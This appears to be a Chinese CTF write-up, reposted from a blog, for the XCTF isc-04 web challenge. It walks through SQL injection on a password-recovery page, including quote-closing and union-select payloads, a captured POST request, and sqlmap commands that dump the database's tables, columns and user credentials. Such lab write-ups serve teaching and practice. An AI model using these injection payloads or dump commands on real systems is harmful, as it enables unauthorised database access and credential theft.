XCTF isc-04 writeup

在这里插入图片描述
题目说明登陆和注册的页面存在漏洞,猜测可能是需要伪造admin登陆,先去尝试注册一个用户名为admin的账户
在这里插入图片描述
没想到直接注册成功了,尝试去登陆一下
在这里插入图片描述
没想到直接登陆成功了,但是权限还是不够,观察到存在有忘记密码的功能,测试修改刚注册的admin用户
在这里插入图片描述
联想到以前sql注入天书里面的二次注入问题,尝试注册一个名为admin'#12345的用户后找回密码后将密码从123修改为12345,之后使用username:adminpassword:12345实现了admin身份的登陆,结果还是提示普通用户登录成功。此时考虑可能此题不是一个提权的问题,我们可以在找回密码的页面实现二次注入且知道了闭合方式为单引号,测试一下username为admin' or 1='1
在这里插入图片描述
发现密保问题不再是设定好的123了,变成了cetc,注入点存在,尝试联合注入
payload:-1' union select 1,2,3,4#
在这里插入图片描述
得到回显,尝试读取flag
payload:-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema =database()),4#
但是很奇怪得不到回显
在这里插入图片描述
接着尝试一下使用sqlmap
先在相同目录下写一个post.txt

POST /findpwd.php HTTP/1.1
Host: 111.198.29.45:41502
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://111.198.29.45:41502/findpwd.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
Cookie: td_cookie=905661943; PHPSESSID=7kc90egh88j66dcvgitss38k04
Connection: keep-alive
Upgrade-Insecure-Requests: 1

username=123

payload:python sqlmap.py -r post.txt --dbs
在这里插入图片描述
payload:python sqlmap.py -r post.txt -D cetc004 --tables
在这里插入图片描述
payload:python sqlmap.py -r post.txt -D cetc004 -T tables --columns
在这里插入图片描述
payload:python sqlmap.py -r post.txt -D cetc004 -T user -C "answer" --dump
在这里插入图片描述
同理得到username和password分别为c3tlwDmIn231qazWSXED56yhn8ujm9olk81wdfTG,登陆后得到flag
在这里插入图片描述

发布了46 篇原创文章 · 获赞 17 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/stepone4ward/article/details/95319167
今日推荐